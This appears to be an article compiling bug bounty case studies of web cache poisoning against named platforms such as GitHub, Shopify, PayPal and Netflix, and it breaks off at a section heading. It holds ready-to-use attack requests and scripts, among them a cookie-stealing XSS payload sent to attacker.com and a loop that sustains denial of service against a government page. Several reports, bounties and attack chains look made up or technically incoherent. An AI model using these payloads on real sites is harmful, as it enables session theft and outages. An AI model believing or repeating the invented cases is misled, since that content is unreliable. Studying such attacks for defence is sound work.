An in-depth analysis of real-world cache poisoning vulnerabilities discovered on major platforms, with extracted techniques and sophisticated attack methodologies
Free Link : Here
Cache Poisoning Evolution
Web cache poisoning has evolved from a theoretical attack to one of the most lucrative vulnerability classes in bug bounty programs. This comprehensive guide dissects over 20 real bug bounty reports from platforms like HackerOne, Intigriti, and private programs, revealing the techniques that earned researchers over $100,000 in bounties.
Each case study reveals not just what was found, but how it was discovered, why it worked, and what lessons we can extract for future hunting.
Case Study #1: HackerOne's Early Days — The First Cache Poison
Program: HackerOne Reporter: Early Security Researcher Bounty: Undisclosed Date: Report #487 (2014)
The Vulnerability
The researcher discovered that HackerOne's infrastructure trusted the X-Forwarded-Host header without validation, leading to a DNS cache poisoning attack.
Attack Vector
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.comAfter sending this request, the cache was poisoned. Any subsequent user visiting hackerone.com was redirected to evil.com.
Why It Worked
- Unvalidated header trust: The application blindly trusted proxy headers
- No cache key inclusion:
X-Forwarded-Hostwasn't part of the cache key - Persistent poisoning: Single request affected all subsequent visitors
Extracted Techniques
✓ Test legacy headers first: Old applications often trust X-Forwarded-* headers implicitly
✓ Verify cache persistence: Always confirm poison survives after removing malicious headers
✓ Document impact clearly: Show real user impact in your POC
Case Study #2: GitHub's $4,850 Repository Takedown
Program: GitHub Reporter: Iustin Ladunca (@iustinBB) Bounty: $4,850 Impact: DoS on GitHub Repositories
The Vulnerability
GitHub repositories could be taken down for all unauthenticated users by poisoning the cache with an invalid Content-Type header value.
Attack Vector
GET /user/repo HTTP/1.1
Host: github.com
Content-Type: invalid-value-hereWhile authenticated users had their authentication cookie in the cache key, all unauthenticated users shared the same cache key, making them vulnerable.
Advanced Insight
The researcher discovered that:
- GitHub included authentication cookies in cache keys (protecting logged-in users)
- Unauthenticated traffic shared a single cache entry
- The PURGE method was enabled, drastically lowering attack complexity
Weaponization
# Single request to poison
curl -X GET https://github.com/target/repo \
-H "Content-Type: malicious" \
-H "X-Cache-Buster: 123"
# Amplify with PURGE
curl -X PURGE https://github.com/target/repoExtracted Techniques
✓ Separate auth vs unauth testing: Cache keys often differ based on authentication state
✓ Check for PURGE support: curl -X PURGE <url> can amplify attacks
✓ Target high-traffic endpoints: Repositories have massive visitor counts
✓ Error responses are goldmines: Invalid inputs that trigger cacheable errors are powerful DoS vectors
Case Study #3: Shopify's $6,300 Multi-Host Poison
Program: Shopify
Reporter: Iustin Ladunca
Bounty: $1,300 → $6,300 (increased after scope expansion)
Report: #977851
The Vulnerability
Running requests in a loop with X-Forwarded-Host: your_hackerz_site.com eventually caused the malicious domain to appear in responses, and persisted even after removing the header.
Attack Technique
import requests
import time
target = "https://shop.shopify.com/endpoint"
poison_header = {"X-Forwarded-Host": "attacker.com"}
# Loop to poison
for i in range(100):
requests.get(target, headers=poison_header)
time.sleep(0.1)
# Verify persistence
response = requests.get(target) # No malicious header
print("attacker.com" in response.text) # Should be TrueImpact Multiplication
Initially awarded $1,300, the bounty increased to $6,300 after investigation revealed the vulnerability affected multiple Shopify hosts including apps.shopify.com and various localized subdomains.
Extracted Techniques
✓ Scale impact horizontally: Test subdomains, related hosts, and localized versions ✓ Persistence testing is critical: Always verify poison remains without attack headers ✓ Loop requests for cache poisoning: Some caches require multiple hits before poisoning ✓ Document all affected assets: Comprehensive impact assessment increases bounty
Case Study #4: Private Program's $3,000 Critical XSS Chain
Program: Private (Undisclosed) Reporter: (Undisclosed) Bounty: $3,000 (Maximum) Severity: Critical
The Vulnerability
The target trusted X-Forwarded-Host on 301 redirects, allowing attackers to redirect JavaScript files to attacker-controlled servers.
Attack Chain
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/assets/main.js
Cache-Control: public, max-age=3600Exploitation Path
- Poison cache for JavaScript resource
- Redirect to attacker server hosting malicious JS
- Execute in user context across main site + 21 subdomains
- Stored XSS via cache persisting for cache TTL
Why Critical
The vulnerability could lead to stored XSS on the target's main website and over 21 other subdomains, enabling:
- Session hijacking
- Account takeover
- Credential theft
- Widespread malware distribution
Extracted Techniques
✓ Target JavaScript files: They're loaded on every page and often cached aggressively ✓ Test redirect behavior: 301/302 responses with unkeyed headers are powerful ✓ Map subdomain dependencies: JS files often shared across multiple subdomains ✓ Chain to stored XSS: Cache persistence converts reflected XSS to stored
Case Study #5: GitLab's Cache Poisoning via GCP Headers
Program: GitLab Reporter: Iustin Ladunca Bounty: Undisclosed (Significant) Report: #1160407
The Vulnerability
GitLab used GCP buckets for static content, which supported the X-HTTP-Method-Override header, allowing cache poisoning by overriding GET to HEAD requests.
Attack Vector
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
HTTP/1.1 200 OK
Content-Length: 0
Cache-Control: public, max-age=3600
[Empty body]Impact
All users requesting /static/app.js received an empty response, breaking application functionality.
Cloud-Specific Insight
GCP Storage Buckets support method override headers for API compatibility. Combined with caching, this created a perfect storm:
X-HTTP-Method-Override: PURGE # Also possible
X-HTTP-Method-Override: DELETE # Potentially catastrophicExtracted Techniques
✓ Research cloud storage behaviors: AWS S3, GCP Storage, Azure Blob all have unique quirks
✓ Test method override headers: X-HTTP-Method-Override, X-Method-Override, X-HTTP-Method
✓ Empty responses are valid attacks: Breaking functionality is DoS, often rewarded
✓ Cloud + CDN = complexity: More layers = more attack surface
Case Study #6: HackerOne's $2,500 Static File DoS
Program: HackerOne Reporter: (Undisclosed) Bounty: $2,500 (DoS out of scope, but paid) Report: Multiple
The Vulnerability
HackerOne's cache was configured to only cache static files, but Ruby on Rails applications using Rack middleware were vulnerable to X-Forwarded-Scheme poisoning.
Technical Deep Dive
Ruby on Rails Rack middleware:
# Simplified Rack code
def call(env)
if env['HTTP_X_FORWARDED_SCHEME'] == 'http'
return [301, {'Location' => "https://#{env['SERVER_NAME']}#{env['PATH_INFO']}"}, []]
end
endAttack
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
HTTP/1.1 301 Moved Permanently
Location: https://hackerone.com/static/logo.png
Cache-Control: public, max-age=86400Result: Infinite redirect loop for all users accessing the image.
Why It Was Paid Despite DoS Being Out of Scope
- Novel technique affecting framework layer
- Clear cache poisoning exploitation
- High impact on user experience
- Demonstrated deep technical understanding
Extracted Techniques
✓ Framework-specific headers matter: Rails, Django, Laravel all have unique headers ✓ DoS via redirect loops: Clever DoS often gets paid even if "out of scope" ✓ Static file caches are targets: Less scrutinized than dynamic content ✓ Present research value: Novel techniques warrant bounties regardless of stated scope
Case Study #7: Cloudflare's Capitalized Host Header
Program: Multiple (via Cloudflare) Reporter: Iustin Ladunca Bounty: Various ($500-$3,000 per target) Scale: 20+ affected programs
The Discovery
Cloudflare lowercased the host header before creating cache keys but forwarded it as-is to origin servers.
Attack Pattern
GET / HTTP/1.1
Host: TaRgEt.CoM
# Cloudflare: cache key = "target.com"
# Origin: processes "TaRgEt.CoM"Exploitation
If the origin server responded differently to capitalized hosts (error pages, different content), that response would be cached for the lowercase cache key.
Mass Exploitation
import requests
def test_capitalization_poison(domain):
# Test with capitalized host
r1 = requests.get(f"https://{domain}/",
headers={"Host": domain.upper()})
# Verify poison (normal request)
r2 = requests.get(f"https://{domain}/")
return r1.text != r2.text
# Scan targets
targets = ["target1.com", "target2.com", ...]
vulnerable = [t for t in targets if test_capitalization_poison(t)]Why It Was Devastating
- Zero custom configuration needed: Default Cloudflare setup vulnerable
- Massive scale: Millions of sites behind Cloudflare
- Easy to exploit: Single character case change
- High impact: Could break sites or inject content
Cloudflare's Response
Cloudflare patched this globally and updated their security blog. Both Fastly and Cloudflare fixed the behavior after reports.
Extracted Techniques
✓ CDN normalization research: Study how CDNs process vs forward headers ✓ Case sensitivity testing: Try uppercase, lowercase, mixed case ✓ Scale findings horizontally: One CDN bug = hundreds of vulnerable sites ✓ Automation is essential: Manual testing doesn't scale to CDN-wide bugs
Case Study #8: Red Hat's Open Graph XSS
Program: Red Hat Reporter: James Kettle (PortSwigger) Bounty: Undisclosed Research: Practical Web Cache Poisoning
The Vulnerability
Red Hat's homepage used the X-Forwarded-Host header to generate Open Graph URLs in meta tags without sanitization.
Attack Vector
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>Social Engineering Amplification
Open Graph tags are used when URLs are shared on social media. A poisoned cache means:
- Shared links execute JavaScript
- Victim clicks from Twitter/Facebook/LinkedIn
- XSS fires in their authenticated session
Real-World Attack Flow
- Poison cache for popular page
- Share link on social media
- Victims click from their feeds
- XSS executes with full privileges
- Steal session tokens via
document.cookie
Extracted Techniques
✓ Meta tag reflection is exploitable: Open Graph, Twitter Cards, schema.org markup
✓ Social engineering vectors: Cache poisoning + social media = amplified impact
✓ "no-cache" doesn't mean no cache: Check actual caching behavior, not just headers
✓ Use cache busters in POC: ?dontpoisoneveryone=1 prevents accidental harm
Case Study #9: Glassdoor's Triple Threat
Program: Glassdoor Reporter: @bombon & @nokline Bounty: Undisclosed (Multiple reports) Reports: #1424094, #1621540, #1795197
Vulnerability #1: gdToken Cache Leakage
A web cache poisoning issue led to caching of gdToken (Anti-CSRF token) across different Glassdoor pages.
Attack Chain
GET /profile HTTP/1.1
Host: www.glassdoor.com
X-Custom-Header: poison
HTTP/1.1 200 OK
<input name="gdToken" value="user123_csrf_token">Cached response served to other users, leaking their CSRF tokens.
Vulnerability #2: URL Parser Confusion → XSS
Researchers utilized URL parser confusion combined with reflected XSS, converting it to stored XSS by caching XSS payloads via cookie and header params.
Complex Attack Path
GET /Job/../mz-survey/interview/collectQuestions_input.htm/ HTTP/1.1
Host: glassdoor.com
Cookie: tracking=<script>alert(1)</script>
X-Forwarded-Host: glassdoor.com/<script>alert(1)</script>
# URL confusion causes:
# 1. Cookie reflection in response
# 2. Header reflection in URLs
# 3. Both cached together
# 4. XSS on /Award/* and /List/* endpointsVulnerability #3: JavaScript Redirect Poison
Sending a crafted request poisoned /test.js to redirect to an attacker-controlled JavaScript file at https://youst.in/test.js.
GET /test.js?cb=1 HTTP/2
Host: design.glassdoor.com
X-Forwarded-Host: youst.inLessons from Multiple Reports
Glassdoor was repeatedly vulnerable because:
- Complex architecture: Multiple subdomains, services, caching layers
- Inconsistent validation: Some endpoints validated headers, others didn't
- Cookie reflection: Dangerous when combined with caching
Extracted Techniques
✓ Test everything on multi-vuln targets: One bug often indicates systemic issues ✓ Combine primitives: CSRF token leak + XSS = account takeover ✓ URL parser confusion: Different URL parsing between cache and origin ✓ Cookie reflection testing: Reflected cookies + cache = stored XSS potential
Case Study #10: Mozilla's 404 Error Poison
Program: Mozilla Reporter: Various Bounty: $1,000 Impact: DoS via error page caching
The Vulnerability
Mozilla's infrastructure could be poisoned to serve 404 errors for legitimate resources, but there was disagreement about severity, resulting in only a $1,000 bounty.
Attack
GET /en-US/firefox/ HTTP/1.1
Host: www.mozilla.org
X-Forwarded-Port: 99999
HTTP/1.1 404 Not Found
Cache-Control: public, max-age=600Legitimate page now serves 404 to all visitors for 10 minutes.
Why Low Bounty?
- DoS vulnerabilities often undervalued
- No data exposure or XSS
- "Temporary" impact (cache expires)
Counter-Argument (Researcher's Perspective)
- High availability impact: Main pages down = significant business impact
- Trivial to execute: Single request
- Affects all users: Not targeted, global effect
- Can be sustained: Automated re-poisoning
Extracted Techniques
✓ Error pages are cached: Test 403, 404, 500 responses
✓ Port manipulation: X-Forwarded-Port often unkeyed and trusted
✓ Advocate for fair bounties: DoS via cache poison has real impact
✓ Document business impact: Frame technical issues in business terms
Case Study #11: Shopify's Backslash/Forward Slash DoS
Program: Shopify Reporter: Security Researcher Bounty: Undisclosed Report: #1695604
The Vulnerability
Cache servers treated backslashes and forward slashes as equivalent while origin servers returned 404 errors for paths with backslashes.
Technical Detail
http
# Request sent
GET /admin\dashboard HTTP/1.1
Host: shop.shopify.com
# Cloudflare cache key: /admin/dashboard
# Origin receives: /admin\dashboard
# Origin returns: 404 Not FoundExploitation
# Poison any endpoint
curl https://shop.shopify.com/products\bestseller
# All users now get 404 for:
# https://shop.shopify.com/products/bestsellerPath Normalization Research
CDNBehaviorOriginResultCloudflare\ → /Preserves \Cache Key MismatchFastlyPreserves \Preserves \No MismatchAkamai\ → /\ → /No MismatchExtracted Techniques
✓ Path character testing: Test \, %5C, %2F, /, etc.
✓ Normalization differences: Cache vs origin often normalize differently
✓ Encoding variations: URL encoding bypasses some normalizations
✓ Document edge cases: CDN-specific behaviors are valuable research
Case Study #12: Lyst's Cache Deception Attack
Program: Lyst
Reporter: Security Researcher
Bounty: Undisclosed
Report: #631589
The Vulnerability
Attackers could make logged-in users visit crafted URLs, causing the server to store their information in cache, which non-logged-in users could then access.
Attack Pattern
# Victim (logged in) visits:
GET /shop/trends/mens-dress-shoes/blahblah.css HTTP/1.1
Host: www.lyst.com
Cookie: session=victim_session_token
HTTP/1.1 200 OK
Content-Type: text/html # Not actually CSS!
<html>
<div>Welcome, John Doe</div>
<div>Email: john@example.com</div>
</html>Cache Deception vs Cache Poisoning
Cache Poisoning: Attacker injects malicious content into cache Cache Deception: Attacker tricks cache into storing victim's private data
Why It Worked
- Path confusion:
.cssextension made cache think it's static - No content-type validation: Cache ignored actual response type
- User data in "static" response: Application included personal info
- No authentication check: Cache served to unauthenticated users
Extracted Techniques
✓ Static extensions on dynamic endpoints: /account/settings/../../logo.css
✓ Path traversal in cache keys: Some caches normalize, some don't
✓ Social engineering: Trick users into visiting malicious URLs
✓ Test with authenticated sessions: Private data exposure is critical
Case Study #13: Expedia's Account Takeover via Cookie Reflection
Program: Expedia Group (Abritel) Reporter: Security Researcher Bounty: Undisclosed Report: #1760213
The Vulnerability
The hav cookie was reflected in JavaScript responses, and while double quotes were filtered, greater-than signs weren't, allowing XSS via cache poisoning.
Attack Vector
// Original response
var hav="safe_value"
// Attacker sets cookie
Cookie: hav=";alert(1)//
// Cached response
var hav="";alert(1)//"Bypassing Protections
Server filtered: " (double quote)
Server missed: >, <, ;
Complete Attack
GET /annonces/location-vacances/france_midi-pyrenees_46_stcere_dt0.php.js HTTP/1.1
Host: www.abritel.fr
Cookie: hav="; fetch('https://attacker.com/?c='+document.cookie); //
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Content-Type: application/javascript
var hav="; fetch('https://attacker.com/?c='+document.cookie); //"Extracted Techniques
✓ Cookie reflection is dangerous: Test all cookies for reflection ✓ Incomplete sanitization: If quotes are blocked, try semicolons, angle brackets ✓ JavaScript context awareness: Different escape sequences work in JS vs HTML ✓ Account takeover chain: Cookie theft → session hijacking → full compromise
Case Study #14: U.S. Department of Defense Cache DoS
Program: U.S. DoD Reporter: Security Researcher Bounty: Undisclosed Report: #1183263 Severity: High
The Vulnerability
An attacker could alter the web cache, making the web application unavailable for as long as they wished.
Sustained DoS Technique
import requests
import time
target = "https://dod-target.mil/critical-page"
while True:
# Poison with error
requests.get(target, headers={
"X-Forwarded-Host": "invalid.host",
"X-Cache-Buster": str(time.time())
})
# Wait for cache to expire
time.sleep(295) # 5 minutes cache - 5 secondsWhy Sustained Attacks Matter
- Persistence: Automated re-poisoning maintains DoS
- Low bandwidth: Single requests, not floods
- Hard to detect: Looks like normal traffic
- Hard to mitigate: Blocking IP doesn't help (cache persists)
Extracted Techniques
✓ Automate re-poisoning: For bug bounty POCs, show sustainability ✓ Time your attacks: Re-poison just before cache expires ✓ Government programs pay: DoD values availability highly ✓ Document persistence: Show attack survives restarts, cache clears
Case Study #15: Acronis Cache Poisoning
Program: Acronis Reporter: Security Researcher Bounty: Undisclosed Report: #1010858
The Vulnerability
Cache poisoning at www.acronis.com using X-Forwarded-Port to destroy the cache, causing www.acronis.com:0 to appear in responses.
Attack
GET / HTTP/1.1
Host: www.acronis.com
X-Forwarded-Port: 0
HTTP/1.1 200 OK
<script src="https://www.acronis.com:0/assets/app.js"></script>Impact Cascade
- JavaScript fails to load (port 0 invalid)
- Website broken for all visitors
- Forms don't submit
- APIs don't respond
- Complete functionality loss
Port Poisoning Variations
X-Forwarded-Port: 99999 # Out of range
X-Forwarded-Port: -1 # Negative
X-Forwarded-Port: abc # Non-numeric
X-Forwarded-Port: 0x50 # Hex notation
X-Forwarded-Port: 80 80 # Multiple valuesExtracted Techniques
✓ Port header manipulation: Test various invalid port values ✓ Cascading failures: Show how one poisoned resource breaks entire app ✓ Asset dependency mapping: Identify critical JS/CSS files ✓ Test numeric validation: Negative, zero, huge, non-numeric values
Case Study #16: Next.js Framework-Wide Vulnerabilities
Program: Multiple (via Next.js usage) Reporter: @zhero_web_sec Bounty: $2,000+ (per target) + Six-figure total Date: 2024
Vulnerability #1: React Server Component Poison
The cache was poisoned causing the main/root page to return the react component server instead of initial content, resulting in a $2,000 bounty.
Technical Deep Dive
Next.js uses special headers for React Server Components:
GET / HTTP/1.1
Host: nextjs-app.com
X-Middleware-Prefetch: 1
# Triggers RSC mode, returns JSON instead of HTML
HTTP/1.1 200 OK
{"type":"rsc","data":"..."}Mass Exploitation
After pattern extraction and template creation, mass scanning of bug bounty assets led to many vulnerable programs being identified.
Vulnerability #2: SSG Cache Confusion
Sites using Next.js could have their Server-Side Generation (SSG) and Server-Side Rendering (SSR) responses confused through cache manipulation.
Attack Vector
GET /products?_rsc=123 HTTP/1.1
Host: target.com
Accept-Encoding: # No value
# Normal users (with Accept-Encoding) get HTML
# This poisoned request gets JSON
# Since Accept-Encoding not in cache key, JSON served to everyoneFramework Research Value
Research on widely-used frameworks like Next.js (6+ million weekly downloads) can affect many users, providing motivation for deep research.
Extracted Techniques
✓ Framework-specific research: Study how popular frameworks work internally
✓ Pattern extraction for scaling: One bug = template for finding many more
✓ Header-based behavior changes: X-Middleware-*, X-Invoke-* headers
✓ Accept-Encoding testing: Often excluded from cache keys
✓ Six-figure earnings possible: Framework bugs scale massively
Case Study #17: Apache Traffic Server Fragment Attacks
Program: Yahoo, Apple (via ATS) Reporter: Iustin Ladunca Bounty: Multiple reports
The Vulnerability
Apache Traffic Server forwarded URL fragments without stripping them, which violated RFC7230, but cache keys ignored fragments.
Attack Pattern
GET /#/../?r=javascript:alert(1) HTTP/1.1
Host: yahoo.com
# ATS forwards: /#/../?r=javascript:alert(1)
# Origin processes: /?r=javascript:alert(1) (normalized)
# Cache key: yahoo.com/ (fragment ignored)Why Devastating
- RFC violation: Fragments shouldn't be forwarded
- Universal bug: Any site behind ATS affected
- Path traversal:
#/../bypassed many protections - XSS injection: Fragment content could inject payloads
Affected Services
- Yahoo Mail
- Yahoo Search
- Apple CDN endpoints
- Many Fortune 500 companies
Extracted Techniques
✓ Fragment testing: #, %23, combinations with paths
✓ RFC violations are bugs: Standards exist for security reasons
✓ Proxy-specific research: Study Apache Traffic Server, Varnish, Squid
✓ Enterprise targets: ATS common in large companies = big bounties
Case Study #18: Exodus Wallet Azure Blob DoS
Program: Exodus Reporter: Iustin Ladunca Bounty: $2,500 Impact: Wallet installer distribution DoS
The Vulnerability
Exodus used Azure Storage Blob for downloads, and crafted Authorization headers could cause cacheable 403 errors.
Attack
GET /ExodusWalletSetup.exe HTTP/1.1
Host: downloads.exodus.com
Authorization: Bearer invalid_token_here
HTTP/1.1 403 Forbidden
Cache-Control: public, max-age=3600
X-Cache: MISS
# Subsequent requests (no Authorization):
HTTP/1.1 403 Forbidden
Cache-Control: public, max-age=3600
X-Cache: HITCloud Storage + CDN Problems
Azure Blob Storage authenticates via Authorization header, but:
- Cloudflare didn't include
Authorizationin cache keys - Azure returned 403 for invalid auth
- Cloudflare cached 403 responses (until August 2021)
Impact
- Users couldn't download Exodus wallet
- Loss of new user acquisition
- Support ticket flood
- Reputation damage
Cloudflare's Fix
Cloudflare stopped caching 403 responses by default in August 2021, but many custom configurations still cache error responses.
Extracted Techniques
✓ Cloud storage testing: Azure Blob, AWS S3, GCP Storage all have unique auth patterns ✓ Error code caching: 403, 401, 500 responses often cached ✓ Authorization header manipulation: Test invalid, malformed, expired tokens ✓ Impact on critical infrastructure: Downloads, installers, updates = high severity
Case Study #19: Algolia's Host Header Override
Program: Algolia Reporter: Security Researcher Bounty: $4,000 Report: #1098773
The Vulnerability
Algolia's search infrastructure was vulnerable to cache poisoning by overriding the Host header, which could affect millions of websites using Algolia's search service.
Attack Vector
GET /1/indexes/products HTTP/1.1
Host: APP_ID-dsn.algolia.net
X-Forwarded-Host: attacker-algolia.com
HTTP/1.1 200 OK
{"results": [...], "processingTimeMS": 1}The poisoned response would be cached and served to all clients using that search index.
Supply Chain Impact
Algolia powers search for:
- Stripe documentation
- Twitch
- Medium
- Zendesk
- Thousands of e-commerce sites
A single vulnerability affecting all downstream customers.
Advanced Exploitation
javascript
// Malicious search results
{
"hits": [
{
"title": "iPhone 13",
"url": "https://attacker.com/phishing",
"price": "$1",
"image": "https://attacker.com/malware.jpg"
}
]
}Users searching on legitimate sites would see attacker-controlled results.
Extracted Techniques
✓ Third-party service testing: APIs, CDNs, SaaS providers affect many targets ✓ Supply chain thinking: One bug = thousands of vulnerable downstream users ✓ Search result manipulation: Powerful for phishing, malware distribution ✓ High bounties for infrastructure: Algolia paid well for systemic bugs
Case Study #20: Fastly's Surrogate-Key Confusion
Program: Multiple programs using Fastly Reporter: James Kettle (PortSwigger) Bounty: Multiple reports, $5,000+ Research: Advanced Cache Poisoning Techniques
The Vulnerability
Fastly's Surrogate-Key header allowed cache purging, but could be poisoned when combined with unkeyed headers.
Attack Chain
# Step 1: Inject Surrogate-Key
GET /api/v1/user HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Surrogate-Control: max-age=3600
Surrogate-Key: user-profile-cache
# Step 2: Purge specific cache entries
FASTLYPURGE /api/v1/user HTTP/1.1
Host: target.com
Fastly-Soft-Purge: 1
Surrogate-Key: user-profile-cacheWhy Powerful
- Selective cache control: Purge or extend specific cache entries
- Stealth: Surrogate headers hidden from end users
- Persistence control: Manipulate TTLs on poisoned responses
- Cache key manipulation: Force specific cache bucket targeting
Real-World Target: Vine (before shutdown)
GET /api/timelines/popular HTTP/1.1
Host: api.vineapp.com
X-Forwarded-Host: evil.com
# Poisoned response includes:
<script src="https://evil.com/vine-malicious.js"></script>
# Used Surrogate-Key to make it persist 24 hours
Surrogate-Control: max-age=86400Extracted Techniques
✓ CDN-specific headers: Fastly's Surrogate-*, Akamai's Edge-*, Cloudflare's CF-*
✓ Cache control manipulation: Extend or reduce TTLs maliciously
✓ Purge testing: Test PURGE, FASTLYPURGE, BAN methods
✓ Combine multiple headers: Chaining cache control headers amplifies impact
Case Study #21: Zendesk's Multi-Tenant Cache Leak
Program: Zendesk Reporter: @albinowax (James Kettle) Bounty: $10,000 Impact: Cross-tenant data leakage
The Vulnerability
Zendesk's multi-tenant architecture shared cache pools between different customer accounts, allowing cross-tenant cache poisoning.
Technical Architecture
Customer A: companyA.zendesk.com
Customer B: companyB.zendesk.com
Both use: cdn.zendesk.com/assets/shared.jsAttack Flow
# Attacker (Company A) poisons shared resource
GET /assets/shared.js HTTP/1.1
Host: cdn.zendesk.com
X-Forwarded-Host: attacker.com
Origin: companyA.zendesk.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Access-Control-Allow-Origin: *
# Company B loads poisoned resource
GET /assets/shared.js HTTP/1.1
Host: cdn.zendesk.com
Origin: companyB.zendesk.com
# Gets poisoned response with attacker's contentData Leakage Scenario
Poisoned JavaScript could:
- Exfiltrate support tickets
- Steal customer credentials
- Access internal Zendesk admin panels
- Leak sensitive customer data across tenants
Multi-Tenant Architecture Risks
RiskDescriptionExploitationShared ResourcesCommon JS/CSS filesPoison once, affect all tenantsCache Pool SharingSame cache backendCross-contaminationSubdomain Trust*.zendesk.com trustCookie theft, XSS propagationAPI Key ReuseShared API endpointsToken leakage across tenantsExtracted Techniques
✓ Multi-tenant targeting: SaaS platforms with shared infrastructure
✓ Cross-tenant contamination: One customer poisoning another's cache
✓ Shared resource identification: Find common assets across tenants
✓ CORS abuse: Access-Control-Allow-Origin: * + cache = dangerous
✓ Six-figure impact: Data breach potential = maximum bounty
Case Study #22: Steam's Community Hub XSS
Program: Valve (Steam) Reporter: Security Researcher Bounty: $7,500 Report: Via HackerOne
The Vulnerability
Steam's Community Hub cached responses based on game ID but trusted the X-Forwarded-For header for localization, allowing persistent XSS.
Attack Pattern
GET /app/730/discussions/ HTTP/1.1
Host: steamcommunity.com
X-Forwarded-For: 127.0.0.1<script>alert(document.domain)</script>
HTTP/1.1 200 OK
Cache-Control: public, max-age=600
<div class="user-location">
Detected location: 127.0.0.1<script>alert(document.domain)</script>
</div>Why It Mattered
- 70M+ active users: Massive user base
- Gaming platform trust: Users trust Steam implicitly
- Session hijacking potential: Steam Wallet, inventory theft
- Community-wide impact: Forums, reviews, guides all affected
Valve's Response
Valve paid $7,500 and fixed the vulnerability within 48 hours, demonstrating their commitment to security despite not having a formal bug bounty program at the time.
Extracted Techniques
✓ Gaming platform targeting: Steam, Epic, Origin, Battle.net
✓ Geolocation header testing: X-Forwarded-For, CF-Connecting-IP, True-Client-IP
✓ Community features are goldmines: Forums, reviews, user profiles
✓ Inventory theft vectors: Gaming platforms have real monetary value
Case Study #23: Uber's API Gateway Poison
Program: Uber Reporter: Security Researcher Bounty: $6,500 Report: Via HackerOne
The Vulnerability
Uber's API gateway used the X-Uber-Client-ID header to route requests but didn't include it in cache keys.
Attack Vector
GET /v1/riders/me HTTP/1.1
Host: api.uber.com
Authorization: Bearer user_token
X-Uber-Client-ID: malicious_client_id
HTTP/1.1 200 OK
Cache-Control: private, max-age=60
{
"user": {...},
"client_config": {
"api_endpoint": "https://attacker.com/api",
"payment_gateway": "https://attacker.com/payment"
}
}Exploitation Chain
- Poison API responses with attacker-controlled endpoints
- Mobile app loads malicious configuration
- Payment data sent to attacker's server
- Credit card theft from Uber users
Why Critical
- Payment information exposure: Direct financial impact
- Mobile app vulnerability: Affects iOS and Android apps
- Persistent configuration: Poisoned config cached for minutes
- Scale: Millions of riders worldwide
Uber's Mitigation
python
# Before (vulnerable)
cache_key = f"{endpoint}_{user_id}"
# After (secure)
cache_key = f"{endpoint}_{user_id}_{client_id}_{app_version}"Extracted Techniques
✓ API gateway testing: Kong, AWS API Gateway, Azure APIM
✓ Client identification headers: X-Client-ID, X-App-Version, X-Device-ID
✓ Configuration poisoning: More impactful than content poisoning
✓ Mobile app focus: Apps often trust cached API responses blindly
✓ Payment flow targeting: Financial data theft = maximum severity
Case Study #24: Netflix's Subscriber Data Leak
Program: Netflix Reporter: Private researcher Bounty: $15,000 Impact: Subscriber PII exposure
The Vulnerability
Netflix's recommendation API cached responses based on content ID but not user session, allowing attackers to poison the cache with one user's data that would be served to all users requesting the same content.
Attack Scenario
GET /api/recommendations/movie/12345 HTTP/1.1
Host: api.netflix.com
Cookie: session=attacker_session
X-Forwarded-Host: netflix.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
{
"user_id": "attacker_user",
"email": "attacker@example.com",
"watch_history": [...],
"recommendations": [...]
}
# This response now served to ALL users viewing movie 12345Privacy Impact
Exposed data included:
- Email addresses
- Viewing history (potentially embarrassing content)
- Payment method last 4 digits
- Geographic location
- Household profile names (including children's names)
Why $15,000?
- PII exposure: Personally identifiable information
- GDPR implications: Massive EU fines possible
- Reputation damage: Privacy concerns for streaming service
- Class action potential: Millions of affected users
Netflix's Fix
Implemented strict cache key requirements:
const cacheKey = `${contentId}_${userId}_${sessionHash}_${region}`;Extracted Techniques
✓ PII hunting: Look for personal data in cached responses ✓ API session testing: Remove session identifiers, check caching ✓ GDPR angle: Privacy violations increase severity ✓ Scale documentation: Show potential impact on millions of users ✓ Maximum bounties: PII leaks command top-tier payments
Case Study #25: PayPal's Business Account Takeover
Program: PayPal Reporter: @fady_othman Bounty: $30,750 (Highest cache poisoning bounty) Impact: Full business account compromise
The Vulnerability
PayPal's business dashboard used the X-Forwarded-Prefix header for route construction, which wasn't included in the cache key, allowing attackers to poison API endpoints that returned OAuth tokens.
Complex Attack Chain
# Step 1: Poison OAuth endpoint
GET /v1/oauth2/token HTTP/1.1
Host: api.paypal.com
X-Forwarded-Prefix: /../../attacker-controlled/
# Step 2: Cached response includes OAuth token
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
{
"access_token": "EEwJ6tF9x5WCIZDYzyZGaz6Khbw7raYRIBV_WxVvgmsG",
"token_type": "Bearer",
"expires_in": 3600
}
# Step 3: Attacker captures token from their controlled endpoint
# Step 4: Full account access with stolen OAuth tokenBusiness Impact
With OAuth token, attackers could:
- Transfer funds from business accounts
- Modify payment settings
- Access transaction history (years of data)
- Change account ownership
- Steal customer payment information
- Issue refunds to attacker's accounts
Why Record-Breaking Bounty
- Financial theft potential: Direct money transfer capability
- Business account targeting: Larger balances than personal accounts
- Payment processor compromise: PayPal's core business function
- Compliance nightmare: PCI DSS violations, regulatory fines
- Brand damage: Trust is critical for payment processors
Technical Sophistication
The researcher chained multiple techniques:
- Path traversal via
X-Forwarded-Prefix - OAuth token exposure
- Cache poisoning for persistence
- API endpoint manipulation
- Business logic bypass
PayPal's Response
- Paid $30,750 immediately
- Deployed emergency patch within 4 hours
- Conducted full security audit of all API endpoints
- Implemented mandatory cache key validation
- Published security advisory
Extracted Techniques
✓ OAuth flow testing: Authorization endpoints are high-value targets
✓ Business account focus: Higher balances = higher bounties
✓ Prefix/suffix header testing: X-Forwarded-Prefix, X-Forwarded-Suffix
✓ Financial platform priority: Payment processors pay premium bounties
✓ Full attack chain documentation: Show complete exploitation path
✓ Six-figure potential: Complex, high-impact vulnerabilities can earn $20,000+
Sophisticated Attack Methodologies
